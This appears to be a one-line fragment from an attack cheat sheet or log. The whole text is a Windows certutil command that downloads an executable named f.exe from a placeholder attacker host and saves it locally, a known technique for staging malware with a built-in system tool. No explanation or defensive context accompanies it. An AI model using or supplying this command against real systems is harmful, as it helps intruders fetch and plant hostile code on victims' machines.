certutil -urlcache -f http://ATTACKER/f.exe f.exe\x0d